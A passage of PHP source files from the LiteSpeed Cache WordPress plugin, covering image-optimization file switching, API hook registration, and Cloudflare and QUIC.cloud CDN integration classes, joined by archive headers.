	 * Check if fetch cron is running
	 *
	 * @since  1.6.2
	 * @access public
	 */
	public function cron_running( $bool_res = true ) {
		$last_run = !empty($this->_summary['last_pull']) ? $this->_summary['last_pull'] : 0;

		$is_running = $last_run && time() - $last_run < 120;

		if ($bool_res) {
			return $is_running;
		}

		return array( $last_run, $is_running );
	}

	/**
	 * Update fetch cron timestamp tag
	 *
	 * @since  1.6.2
	 * @access private
	 */
	private function _update_cron_running( $done = false ) {
		$this->_summary['last_pull'] = time();

		if ($done) {
			// Only update cron tag when its from the active running cron
			if ($this->_cron_ran) {
				// Rollback for next running
				$this->_summary['last_pull'] -= 120;
			} else {
				return;
			}
		}

		self::save_summary();

		$this->_cron_ran = true;
	}

	/**
	 * Batch switch images to ori/optm version
	 *
	 * @since  1.6.2
	 * @access public
	 */
	public function batch_switch( $type ) {
		global $wpdb;

		if (defined('LITESPEED_CLI') || wp_doing_cron()) {
			$offset = 0;
			while ($offset !== 'done') {
				Admin_Display::info("Starting switch to $type [offset] $offset");
				$offset = $this->_batch_switch($type, $offset);
			}
		} else {
			$offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;

			$newOffset = $this->_batch_switch($type, $offset);
			if ($newOffset !== 'done') {
				return Router::self_redirect(Router::ACTION_IMG_OPTM, $type);
			}
		}

		$msg = __('Switched images successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Switch images per offset
	 */
	private function _batch_switch( $type, $offset ) {
		global $wpdb;
		$limit          = 500;
		$this->tmp_type = $type;

		$img_q = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			ORDER BY a.ID
			LIMIT %d,%d
			";
		$q     = $wpdb->prepare($img_q, array( $offset * $limit, $limit ));
		$list  = $wpdb->get_results($q);
		$i     = 0;
		foreach ($list as $v) {
			if (!$v->post_id) {
				continue;
			}

			$meta_value = $this->_parse_wp_meta_value($v);
			if (!$meta_value) {
				continue;
			}

			++$i;

			$this->tmp_pid  = $v->post_id;
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_switch_bk_file($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				array_map(array( $this, '_switch_bk_file' ), $meta_value['sizes']);
			}
		}

		self::debug('batch switched images total: ' . $i . ' [type] ' . $type);

		++$offset;
		$to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array( $offset * $limit, 1 )));
		if ($to_be_continued) {
			return $offset;
		}
		return 'done';
	}

	/**
	 * Delete single file
	 */
	private function _switch_bk_file( $meta_value, $is_ori_file = false ) {
		$short_file_path = $meta_value['file'];
		if (!$is_ori_file) {
			$short_file_path = $this->tmp_path . $short_file_path;
		}

		$extension      = pathinfo($short_file_path, PATHINFO_EXTENSION);
		$local_filename = substr($short_file_path, 0, -strlen($extension) - 1);
		$bk_file        = $local_filename . '.bk.' . $extension;
		$bk_optm_file   = $local_filename . '.bk.optm.' . $extension;

		// self::debug('_switch_bk_file ' . $bk_file . ' [type] ' . $this->tmp_type);
		// switch to ori
		if ($this->tmp_type === self::TYPE_BATCH_SWITCH_ORI || $this->tmp_type == 'orig') {
			// self::debug('switch to orig ' . $bk_file);
			if (!$this->__media->info($bk_file, $this->tmp_pid)) {
				return;
			}
			$this->__media->rename($local_filename . '.' . $extension, $bk_optm_file, $this->tmp_pid);
			$this->__media->rename($bk_file, $local_filename . '.' . $extension, $this->tmp_pid);
		}
		// switch to optm
		elseif ($this->tmp_type === self::TYPE_BATCH_SWITCH_OPTM || $this->tmp_type == 'optm') {
			// self::debug('switch to optm ' . $bk_file);
			if (!$this->__media->info($bk_optm_file, $this->tmp_pid)) {
				return;
			}
			$this->__media->rename($local_filename . '.' . $extension, $bk_file, $this->tmp_pid);
			$this->__media->rename($bk_optm_file, $local_filename . '.' . $extension, $this->tmp_pid);
		}
	}

	/**
	 * Switch image between original one and optimized one
	 *
	 * @since 1.6.2
	 * @access private
	 */
	private function _switch_optm_file( $type ) {
		Admin_Display::success(__('Switched to optimized file successfully.', 'litespeed-cache'));
		return;
		global $wpdb;

		$pid         = substr($type, 4);
		$switch_type = substr($type, 0, 4);

		$q    = "SELECT src,post_id FROM `$this->_table_img_optm` WHERE post_id = %d AND optm_status = %d";
		$list = $wpdb->get_results($wpdb->prepare($q, array( $pid, self::STATUS_PULLED )));

		$msg = 'Unknown Msg';

		foreach ($list as $v) {
			// to switch webp file
			if ($switch_type === 'webp') {
				if ($this->__media->info($v->src . '.webp', $v->post_id)) {
					$this->__media->rename($v->src . '.webp', $v->src . '.optm.webp', $v->post_id);
					self::debug('Disabled WebP: ' . $v->src);

					$msg = __('Disabled WebP file successfully.', 'litespeed-cache');
				} elseif ($this->__media->info($v->src . '.optm.webp', $v->post_id)) {
					$this->__media->rename($v->src . '.optm.webp', $v->src . '.webp', $v->post_id);
					self::debug('Enable WebP: ' . $v->src);

					$msg = __('Enabled WebP file successfully.', 'litespeed-cache');
				}
			}
			// to switch avif file
			elseif ($switch_type === 'avif') {
				if ($this->__media->info($v->src . '.avif', $v->post_id)) {
					$this->__media->rename($v->src . '.avif', $v->src . '.optm.avif', $v->post_id);
					self::debug('Disabled AVIF: ' . $v->src);

					$msg = __('Disabled AVIF file successfully.', 'litespeed-cache');
				} elseif ($this->__media->info($v->src . '.optm.avif', $v->post_id)) {
					$this->__media->rename($v->src . '.optm.avif', $v->src . '.avif', $v->post_id);
					self::debug('Enable AVIF: ' . $v->src);

					$msg = __('Enabled AVIF file successfully.', 'litespeed-cache');
				}
			}
			// to switch original file
			else {
				$extension      = pathinfo($v->src, PATHINFO_EXTENSION);
				$local_filename = substr($v->src, 0, -strlen($extension) - 1);
				$bk_file        = $local_filename . '.bk.' . $extension;
				$bk_optm_file   = $local_filename . '.bk.optm.' . $extension;

				// revert ori back
				if ($this->__media->info($bk_file, $v->post_id)) {
					$this->__media->rename($v->src, $bk_optm_file, $v->post_id);
					$this->__media->rename($bk_file, $v->src, $v->post_id);
					self::debug('Restore original img: ' . $bk_file);

					$msg = __('Restored original file successfully.', 'litespeed-cache');
				} elseif ($this->__media->info($bk_optm_file, $v->post_id)) {
					$this->__media->rename($v->src, $bk_file, $v->post_id);
					$this->__media->rename($bk_optm_file, $v->src, $v->post_id);
					self::debug('Switch to optm img: ' . $v->src);

					$msg = __('Switched to optimized file successfully.', 'litespeed-cache');
				}
			}
		}

		Admin_Display::success($msg);
	}

	/**
	 * Delete one optm data and recover original file
	 *
	 * @since 2.4.2
	 * @access public
	 */
	public function reset_row( $post_id ) {
		global $wpdb;

		if (!$post_id) {
			return;
		}

		// Gathered image don't have DB_SIZE info yet
		// $size_meta = get_post_meta( $post_id, self::DB_SIZE, true );

		// if ( ! $size_meta ) {
		// return;
		// }

		self::debug('_reset_row [pid] ' . $post_id);

		// TODO: Load image sub files
		$img_q = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->postmeta` b
			WHERE b.post_id =%d  AND b.meta_key = '_wp_attachment_metadata'";
		$q     = $wpdb->prepare($img_q, array( $post_id ));
		$v     = $wpdb->get_row($q);

		$meta_value = $this->_parse_wp_meta_value($v);
		if ($meta_value) {
			$this->tmp_pid  = $v->post_id;
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_destroy_optm_file($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				array_map(array( $this, '_destroy_optm_file' ), $meta_value['sizes']);
			}
		}

		delete_post_meta($post_id, self::DB_SIZE);
		delete_post_meta($post_id, self::DB_SET);

		$msg = __('Reset the optimized data successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Show an image's optm status
	 *
	 * @since  1.6.5
	 * @access public
	 */
	public function check_img() {
		global $wpdb;

		$pid = $_POST['data'];

		self::debug('Check image [ID] ' . $pid);

		$data = [];

		$data['img_count']    = $this->img_count();
		$data['optm_summary'] = self::get_summary();

		$data['_wp_attached_file']       = get_post_meta($pid, '_wp_attached_file', true);
		$data['_wp_attachment_metadata'] = get_post_meta($pid, '_wp_attachment_metadata', true);

		// Get img_optm data
		$q        = "SELECT * FROM `$this->_table_img_optm` WHERE post_id = %d";
		$list     = $wpdb->get_results($wpdb->prepare($q, $pid));
		$img_data = [];
		if ($list) {
			foreach ($list as $v) {
				$img_data[] = array(
					'id' => $v->id,
					'optm_status' => $v->optm_status,
					'src' => $v->src,
					'srcpath_md5' => $v->srcpath_md5,
					'src_md5' => $v->src_md5,
					'server_info' => $v->server_info,
				);
			}
		}
		$data['img_data'] = $img_data;

		return array(
			'_res' => 'ok',
			'data' => $data,
		);
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  2.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_RESET_ROW:
            $this->reset_row(!empty($_GET['id']) ? $_GET['id'] : false);
				break;

			case self::TYPE_CALC_BKUP:
            $this->_calc_bkup();
				break;

			case self::TYPE_RM_BKUP:
            $this->rm_bkup();
				break;

			case self::TYPE_NEW_REQ:
            $this->new_req();
				break;

			case self::TYPE_RESCAN:
            $this->_rescan();
				break;

			case self::TYPE_RESET_COUNTER:
            $this->_reset_counter();
				break;

			case self::TYPE_DESTROY:
            $this->_destroy();
				break;

			case self::TYPE_CLEAN:
            $this->clean();
				break;

			case self::TYPE_PULL:
            self::start_async();
				break;

			case self::TYPE_BATCH_SWITCH_ORI:
			case self::TYPE_BATCH_SWITCH_OPTM:
            $this->batch_switch($type);
				break;

			case substr($type, 0, 4) === 'avif':
			case substr($type, 0, 4) === 'webp':
			case substr($type, 0, 4) === 'orig':
            $this->_switch_optm_file($type);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/api.cls.php000064400000024677151031165260017140 0ustar00<?php
/**
 * The plugin API class.
 *
 * @since       1.1.3
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class API
 *
 * Provides API hooks and methods for LiteSpeed Cache integration.
 *
 * @since 1.1.3
 */
class API extends Base {

	const VERSION = Core::VER;

	const TYPE_FEED                    = Tag::TYPE_FEED;
	const TYPE_FRONTPAGE               = Tag::TYPE_FRONTPAGE;
	const TYPE_HOME                    = Tag::TYPE_HOME;
	const TYPE_PAGES                   = Tag::TYPE_PAGES;
	const TYPE_PAGES_WITH_RECENT_POSTS = Tag::TYPE_PAGES_WITH_RECENT_POSTS;
	const TYPE_HTTP                    = Tag::TYPE_HTTP;
	const TYPE_ARCHIVE_POSTTYPE        = Tag::TYPE_ARCHIVE_POSTTYPE;
	const TYPE_ARCHIVE_TERM            = Tag::TYPE_ARCHIVE_TERM;
	const TYPE_AUTHOR                  = Tag::TYPE_AUTHOR;
	const TYPE_ARCHIVE_DATE            = Tag::TYPE_ARCHIVE_DATE;
	const TYPE_BLOG                    = Tag::TYPE_BLOG;
	const TYPE_LOGIN                   = Tag::TYPE_LOGIN;
	const TYPE_URL                     = Tag::TYPE_URL;

	const TYPE_ESI = Tag::TYPE_ESI;

	const PARAM_NAME         = ESI::PARAM_NAME;
	const WIDGET_O_ESIENABLE = ESI::WIDGET_O_ESIENABLE;
	const WIDGET_O_TTL       = ESI::WIDGET_O_TTL;

	/**
	 * Instance
	 *
	 * Initializes the API class.
	 *
	 * @since  3.0
	 */
	public function __construct() {
	}

	/**
	 * Define hooks to be used in other plugins.
	 *
	 * The benefit to use hooks other than functions is no need to detach if LSCWP enabled and function existed or not anymore
	 *
	 * @since  3.0
	 */
	public function init() {
		/**
		 * Init
		 */
		// Action `litespeed_init`

		/**
		 * Conf
		 */
		add_filter( 'litespeed_conf', array( $this, 'conf' ) );
		// Action `litespeed_conf_append`
		add_action( 'litespeed_conf_multi_switch', __NAMESPACE__ . '\Base::set_multi_switch', 10, 2 );
		// Action `litespeed_conf_force`
		add_action( 'litespeed_save_conf', array( $this, 'save_conf' ) );

		/**
		 * Cache Control Hooks
		 */
		// Action `litespeed_control_finalize`
		add_action( 'litespeed_control_set_private', __NAMESPACE__ . '\Control::set_private' );
		add_action( 'litespeed_control_set_nocache', __NAMESPACE__ . '\Control::set_nocache' );
		add_action( 'litespeed_control_set_cacheable', array( $this, 'set_cacheable' ) );
		add_action( 'litespeed_control_force_cacheable', __NAMESPACE__ . '\Control::force_cacheable' );
		add_action( 'litespeed_control_force_public', __NAMESPACE__ . '\Control::set_public_forced' );
		add_filter( 'litespeed_control_cacheable', __NAMESPACE__ . '\Control::is_cacheable', 3 );
		add_action( 'litespeed_control_set_ttl', __NAMESPACE__ . '\Control::set_custom_ttl', 10, 2 );
		add_filter( 'litespeed_control_ttl', array( $this, 'get_ttl' ), 3 );

		/**
		 * Tag Hooks
		 */
		// Action `litespeed_tag_finalize`
		add_action( 'litespeed_tag', __NAMESPACE__ . '\Tag::add' );
		add_action( 'litespeed_tag_post', __NAMESPACE__ . '\Tag::add_post' );
		add_action( 'litespeed_tag_widget', __NAMESPACE__ . '\Tag::add_widget' );
		add_action( 'litespeed_tag_private', __NAMESPACE__ . '\Tag::add_private' );
		add_action( 'litespeed_tag_private_esi', __NAMESPACE__ . '\Tag::add_private_esi' );

		add_action( 'litespeed_tag_add', __NAMESPACE__ . '\Tag::add' );
		add_action( 'litespeed_tag_add_post', __NAMESPACE__ . '\Tag::add_post' );
		add_action( 'litespeed_tag_add_widget', __NAMESPACE__ . '\Tag::add_widget' );
		add_action( 'litespeed_tag_add_private', __NAMESPACE__ . '\Tag::add_private' );
		add_action( 'litespeed_tag_add_private_esi', __NAMESPACE__ . '\Tag::add_private_esi' );

		/**
		 * Purge Hooks
		 */
		// Action `litespeed_purge_finalize`
		add_action( 'litespeed_purge', __NAMESPACE__ . '\Purge::add' );
		add_action( 'litespeed_purge_all', __NAMESPACE__ . '\Purge::purge_all' );
		add_action( 'litespeed_purge_post', array( $this, 'purge_post' ) );
		add_action( 'litespeed_purge_posttype', __NAMESPACE__ . '\Purge::purge_posttype' );
		add_action( 'litespeed_purge_url', array( $this, 'purge_url' ) );
		add_action( 'litespeed_purge_widget', __NAMESPACE__ . '\Purge::purge_widget' );
		add_action( 'litespeed_purge_esi', __NAMESPACE__ . '\Purge::purge_esi' );
		add_action( 'litespeed_purge_private', __NAMESPACE__ . '\Purge::add_private' );
		add_action( 'litespeed_purge_private_esi', __NAMESPACE__ . '\Purge::add_private_esi' );
		add_action( 'litespeed_purge_private_all', __NAMESPACE__ . '\Purge::add_private_all' );
		// Action `litespeed_api_purge_post`
		// Action `litespeed_purged_all`
		add_action( 'litespeed_purge_all_object', __NAMESPACE__ . '\Purge::purge_all_object' );
		add_action( 'litespeed_purge_ucss', __NAMESPACE__ . '\Purge::purge_ucss' );

		/**
		 * ESI
		 */
		// Action `litespeed_nonce`
		add_filter( 'litespeed_esi_status', array( $this, 'esi_enabled' ) );
		add_filter( 'litespeed_esi_url', array( $this, 'sub_esi_block' ), 10, 8 ); // Generate ESI block url
		// Filter `litespeed_widget_default_options` // Hook widget default settings value. Currently used in Woo 3rd
		// Filter `litespeed_esi_params`
		// Action `litespeed_tpl_normal`
		// Action `litespeed_esi_load-$block` // @usage add_action( 'litespeed_esi_load-' . $block, $hook )
		add_action( 'litespeed_esi_combine', __NAMESPACE__ . '\ESI::combine' );

		/**
		 * Vary
		 *
		 * To modify default vary, There are two ways: Action `litespeed_vary_append` or Filter `litespeed_vary`
		 */
		add_action( 'litespeed_vary_ajax_force', __NAMESPACE__ . '\Vary::can_ajax_vary' ); // Force finalize vary even if its in an AJAX call
		// Filter `litespeed_vary_curr_cookies` to generate current in use vary, which will be used for response vary header.
		// Filter `litespeed_vary_cookies` to register the final vary cookies, which will be written to rewrite rule. (litespeed_vary_curr_cookies are always equal to or less than litespeed_vary_cookies)
		// Filter `litespeed_vary`
		add_action( 'litespeed_vary_no', __NAMESPACE__ . '\Control::set_no_vary' );

		/**
		 * Cloud
		 */
		add_filter( 'litespeed_is_from_cloud', array( $this, 'is_from_cloud' ) ); // Check if current request is from QC (usually its to check REST access) // @see https://wordpress.org/support/topic/image-optimization-not-working-3/

		/**
		 * Media
		 */
		add_action( 'litespeed_media_reset', __NAMESPACE__ . '\Media::delete_attachment' );

		/**
		 * GUI
		 */
		add_filter( 'litespeed_clean_wrapper_begin', __NAMESPACE__ . '\GUI::clean_wrapper_begin' );
		add_filter( 'litespeed_clean_wrapper_end', __NAMESPACE__ . '\GUI::clean_wrapper_end' );

		/**
		 * Misc
		 */
		add_action( 'litespeed_debug', __NAMESPACE__ . '\Debug2::debug', 10, 2 );
		add_action( 'litespeed_debug2', __NAMESPACE__ . '\Debug2::debug2', 10, 2 );
		add_action( 'litespeed_disable_all', array( $this, 'disable_all' ) );

		add_action( 'litespeed_after_admin_init', array( $this, 'after_admin_init' ) );
	}

	/**
	 * API for admin related
	 *
	 * Registers hooks for admin settings and UI elements.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function after_admin_init() {
		/**
		 * GUI
		 */
		add_action( 'litespeed_setting_enroll', array( $this->cls( 'Admin_Display' ), 'enroll' ), 10, 4 );
		add_action( 'litespeed_build_switch', array( $this->cls( 'Admin_Display' ), 'build_switch' ) );
		// Action `litespeed_settings_content`
		// Action `litespeed_settings_tab`
	}

	/**
	 * Disable All
	 *
	 * Disables all LiteSpeed Cache features with a given reason.
	 *
	 * @since 2.9.7.2
	 * @access public
	 * @param string $reason The reason for disabling all features.
	 */
	public function disable_all( $reason ) {
		do_action( 'litespeed_debug', '[API] Disabled_all due to ' . $reason );

		! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true );
	}

	/**
	 * Append commenter vary
	 *
	 * Adds commenter vary to the cache vary cookies.
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function vary_append_commenter() {
		Vary::cls()->append_commenter();
	}

	/**
	 * Check if is from Cloud
	 *
	 * Checks if the current request originates from QUIC.cloud.
	 *
	 * @since 4.2
	 * @access public
	 * @return bool True if from QUIC.cloud, false otherwise.
	 */
	public function is_from_cloud() {
		return $this->cls( 'Cloud' )->is_from_cloud();
	}

	/**
	 * Purge post
	 *
	 * Purges the cache for a specific post.
	 *
	 * @since 3.0
	 * @access public
	 * @param int $pid Post ID to purge.
	 */
	public function purge_post( $pid ) {
		$this->cls( 'Purge' )->purge_post( $pid );
	}

	/**
	 * Purge URL
	 *
	 * Purges the cache for a specific URL.
	 *
	 * @since 3.0
	 * @access public
	 * @param string $url URL to purge.
	 */
	public function purge_url( $url ) {
		$this->cls( 'Purge' )->purge_url( $url );
	}

	/**
	 * Set cacheable
	 *
	 * Marks the current request as cacheable.
	 *
	 * @since 3.0
	 * @access public
	 * @param string|bool $reason Optional reason for setting cacheable.
	 */
	public function set_cacheable( $reason = false ) {
		$this->cls( 'Control' )->set_cacheable( $reason );
	}

	/**
	 * Check ESI enabled
	 *
	 * Returns whether ESI is enabled.
	 *
	 * @since 3.0
	 * @access public
	 * @return bool True if ESI is enabled, false otherwise.
	 */
	public function esi_enabled() {
		return $this->cls( 'Router' )->esi_enabled();
	}

	/**
	 * Get TTL
	 *
	 * Retrieves the cache TTL (time to live).
	 *
	 * @since 3.0
	 * @access public
	 * @return int Cache TTL value.
	 */
	public function get_ttl() {
		return $this->cls( 'Control' )->get_ttl();
	}

	/**
	 * Generate ESI block URL
	 *
	 * Generates a URL for an ESI block.
	 *
	 * @since 3.0
	 * @access public
	 * @param string $block_id    ESI block ID.
	 * @param string $wrapper     Wrapper identifier.
	 * @param array  $params      Parameters for the ESI block.
	 * @param string $control     Cache control settings.
	 * @param bool   $silence     Silence output flag.
	 * @param bool   $preserved   Preserved flag.
	 * @param bool   $svar        Server variable flag.
	 * @param array  $inline_param Inline parameters.
	 * @return string ESI block URL.
	 */
	public function sub_esi_block(
		$block_id,
		$wrapper,
		$params = array(),
		$control = 'private,no-vary',
		$silence = false,
		$preserved = false,
		$svar = false,
		$inline_param = array()
	) {
		return $this->cls( 'ESI' )->sub_esi_block( $block_id, $wrapper, $params, $control, $silence, $preserved, $svar, $inline_param );
	}

	/**
	 * Set and sync conf
	 *
	 * Updates and synchronizes configuration settings.
	 *
	 * @since 7.2
	 * @access public
	 * @param bool|array $the_matrix Configuration data to update.
	 */
	public function save_conf( $the_matrix = false ) {
		$this->cls( 'Conf' )->update_confs( $the_matrix );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/cdn/cloudflare.cls.php000064400000017626151031165260021247 0ustar00<?php
/**
 * The cloudflare CDN class.
 *
 * @since       2.1
 * @package     LiteSpeed
 * @subpackage  LiteSpeed/src/cdn
 * @author      LiteSpeed Technologies <info@litespeedtech.com>
 */

namespace LiteSpeed\CDN;

use LiteSpeed\Base;
use LiteSpeed\Debug2;
use LiteSpeed\Router;
use LiteSpeed\Admin;
use LiteSpeed\Admin_Display;

defined('WPINC') || exit();

/**
 * Class Cloudflare
 *
 * @since 2.1
 */
class Cloudflare extends Base {

	const TYPE_PURGE_ALL       = 'purge_all';
	const TYPE_GET_DEVMODE     = 'get_devmode';
	const TYPE_SET_DEVMODE_ON  = 'set_devmode_on';
	const TYPE_SET_DEVMODE_OFF = 'set_devmode_off';

	const ITEM_STATUS = 'status';

	/**
	 * Update zone&name based on latest settings
	 *
	 * @since  3.0
	 * @access public
	 */
	public function try_refresh_zone() {
		if (!$this->conf(self::O_CDN_CLOUDFLARE)) {
			return;
		}

		$zone = $this->fetch_zone();
		if ($zone) {
			$this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_NAME, $zone['name']);

			$this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, $zone['id']);

			Debug2::debug("[Cloudflare] Get zone successfully \t\t[ID] " . $zone['id']);
		} else {
			$this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, '');
			Debug2::debug('[Cloudflare] ❌ Get zone failed, clean zone');
		}
	}

	/**
	 * Get Cloudflare development mode
	 *
	 * @since  1.7.2
	 * @access private
	 * @param bool $show_msg Whether to show success/error message.
	 */
	private function get_devmode( $show_msg = true ) {
		Debug2::debug('[Cloudflare] get_devmode');

		$zone = $this->zone();
		if (!$zone) {
			return;
		}

		$url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode';
		$res = $this->cloudflare_call($url, 'GET', false, $show_msg);

		if (!$res) {
			return;
		}
		Debug2::debug('[Cloudflare] get_devmode result ', $res);

		// Make sure is array: #992174
		$curr_status = self::get_option(self::ITEM_STATUS, array());
		if ( ! is_array( $curr_status ) ) {
			$curr_status = array();
		}
		$curr_status['devmode']         = $res['value'];
		$curr_status['devmode_expired'] = $res['time_remaining'] + time();

		// update status
		self::update_option(self::ITEM_STATUS, $curr_status);
	}

	/**
	 * Set Cloudflare development mode
	 *
	 * @since  1.7.2
	 * @access private
	 * @param string $type The type of development mode to set (on/off).
	 */
	private function set_devmode( $type ) {
		Debug2::debug('[Cloudflare] set_devmode');

		$zone = $this->zone();
		if (!$zone) {
			return;
		}

		$url     = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode';
		$new_val = self::TYPE_SET_DEVMODE_ON === $type ? 'on' : 'off';
		$data    = array( 'value' => $new_val );
		$res     = $this->cloudflare_call($url, 'PATCH', $data);

		if (!$res) {
			return;
		}

		$res = $this->get_devmode(false);

		if ($res) {
			$msg = sprintf(__('Notified Cloudflare to set development mode to %s successfully.', 'litespeed-cache'), strtoupper($new_val));
			Admin_Display::success($msg);
		}
	}

	/**
	 * Shortcut to purge Cloudflare
	 *
	 * @since  7.1
	 * @access public
	 * @param string|bool $reason The reason for purging, or false if none.
	 */
	public static function purge_all( $reason = false ) {
		if ($reason) {
			Debug2::debug('[Cloudflare] purge call because: ' . $reason);
		}
		self::cls()->purge_all_private();
	}

	/**
	 * Purge Cloudflare cache
	 *
	 * @since  1.7.2
	 * @access private
	 */
	private function purge_all_private() {
		Debug2::debug('[Cloudflare] purge_all_private');

		$cf_on = $this->conf(self::O_CDN_CLOUDFLARE);
		if (!$cf_on) {
			$msg = __('Cloudflare API is set to off.', 'litespeed-cache');
			Admin_Display::error($msg);
			return;
		}

		$zone = $this->zone();
		if (!$zone) {
			return;
		}

		$url  = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/purge_cache';
		$data = array( 'purge_everything' => true );

		$res = $this->cloudflare_call($url, 'DELETE', $data);

		if ($res) {
			$msg = __('Notified Cloudflare to purge all successfully.', 'litespeed-cache');
			Admin_Display::success($msg);
		}
	}

	/**
	 * Get current Cloudflare zone from cfg
	 *
	 * @since  1.7.2
	 * @access private
	 */
	private function zone() {
		$zone = $this->conf(self::O_CDN_CLOUDFLARE_ZONE);
		if (!$zone) {
			$msg = __('No available Cloudflare zone', 'litespeed-cache');
			Admin_Display::error($msg);
			return false;
		}

		return $zone;
	}

	/**
	 * Get Cloudflare zone settings
	 *
	 * @since  1.7.2
	 * @access private
	 */
	private function fetch_zone() {
		$kw = $this->conf(self::O_CDN_CLOUDFLARE_NAME);

		$url = 'https://api.cloudflare.com/client/v4/zones?status=active&match=all';

		// Try exact match first
		if ($kw && false !== strpos($kw, '.')) {
			$zones = $this->cloudflare_call($url . '&name=' . $kw, 'GET', false, false);
			if ($zones) {
				Debug2::debug('[Cloudflare] fetch_zone exact matched');
				return $zones[0];
			}
		}

		// Can't find, try to get default one
		$zones = $this->cloudflare_call($url, 'GET', false, false);

		if (!$zones) {
			Debug2::debug('[Cloudflare] fetch_zone no zone');
			return false;
		}

		if (!$kw) {
			Debug2::debug('[Cloudflare] fetch_zone no set name, use first one by default');
			return $zones[0];
		}

		foreach ($zones as $v) {
			if (false !== strpos($v['name'], $kw)) {
				Debug2::debug('[Cloudflare] fetch_zone matched ' . $kw . ' [name] ' . $v['name']);
				return $v;
			}
		}

		// Can't match current name, return default one
		Debug2::debug('[Cloudflare] fetch_zone failed match name, use first one by default');
		return $zones[0];
	}

	/**
	 * Cloudflare API
	 *
	 * @since  1.7.2
	 * @access private
	 * @param string     $url      The API URL to call.
	 * @param string     $method   The HTTP method to use (GET, POST, etc.).
	 * @param array|bool $data     The data to send with the request, or false if none.
	 * @param bool       $show_msg Whether to show success/error message.
	 */
	private function cloudflare_call( $url, $method = 'GET', $data = false, $show_msg = true ) {
		Debug2::debug("[Cloudflare] cloudflare_call \t\t[URL] $url");

		if (strlen($this->conf(self::O_CDN_CLOUDFLARE_KEY)) === 40) {
			$headers = array(
				'Content-Type'  => 'application/json',
				'Authorization' => 'Bearer ' . $this->conf(self::O_CDN_CLOUDFLARE_KEY),
			);
		} else {
			$headers = array(
				'Content-Type'  => 'application/json',
				'X-Auth-Email' => $this->conf(self::O_CDN_CLOUDFLARE_EMAIL),
				'X-Auth-Key'   => $this->conf(self::O_CDN_CLOUDFLARE_KEY),
			);
		}

		$wp_args = array(
			'method'  => $method,
			'headers' => $headers,
		);

		if ($data) {
			if (is_array($data)) {
				$data = wp_json_encode($data);
			}
			$wp_args['body'] = $data;
		}
		$resp = wp_remote_request($url, $wp_args);
		if (is_wp_error($resp)) {
			Debug2::debug('[Cloudflare] error in response');
			if ($show_msg) {
				$msg = __('Failed to communicate with Cloudflare', 'litespeed-cache');
				Admin_Display::error($msg);
			}
			return false;
		}

		$result = wp_remote_retrieve_body($resp);

		$json = \json_decode($result, true);

		if ($json && $json['success'] && $json['result']) {
			Debug2::debug('[Cloudflare] cloudflare_call called successfully');
			if ($show_msg) {
				$msg = __('Communicated with Cloudflare successfully.', 'litespeed-cache');
				Admin_Display::success($msg);
			}

			return $json['result'];
		}

		Debug2::debug("[Cloudflare] cloudflare_call called failed: $result");
		if ($show_msg) {
			$msg = __('Failed to communicate with Cloudflare', 'litespeed-cache');
			Admin_Display::error($msg);
		}

		return false;
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  1.7.2
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_PURGE_ALL:
				$this->purge_all_private();
				break;

			case self::TYPE_GET_DEVMODE:
				$this->get_devmode();
				break;

			case self::TYPE_SET_DEVMODE_ON:
			case self::TYPE_SET_DEVMODE_OFF:
				$this->set_devmode($type);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/cdn/quic.cls.php000064400000006022151031165260020054 0ustar00<?php
/**
 * The quic.cloud class.
 *
 * @since       2.4.1
 * @package     LiteSpeed
 * @subpackage  LiteSpeed/src/cdn
 */

namespace LiteSpeed\CDN;

use LiteSpeed\Cloud;
use LiteSpeed\Base;

defined('WPINC') || exit();

/**
 * Class Quic
 *
 * Handles Quic.cloud CDN integration.
 *
 * @since 2.4.1
 */
class Quic extends Base {
	const LOG_TAG  = '☁️';
	const TYPE_REG = 'reg';

	/**
	 * Force sync flag.
	 *
	 * @var bool
	 */
	private $force = false;

	/**
	 * Notify CDN new config updated
	 *
	 * Syncs configuration with Quic.cloud CDN.
	 *
	 * @since 2.4.1
	 * @access public
	 * @param bool $force Whether to force sync.
	 * @return bool|void
	 */
	public function try_sync_conf( $force = false ) {
		$cloud_summary = Cloud::get_summary();
		if ($force) {
			$this->force = $force;
		}

		if (!$this->conf(self::O_CDN_QUIC)) {
			if (!empty($cloud_summary['conf_md5'])) {
				self::debug('❌ No QC CDN, clear conf md5!');
				Cloud::save_summary(array( 'conf_md5' => '' ));
			}
			return false;
		}

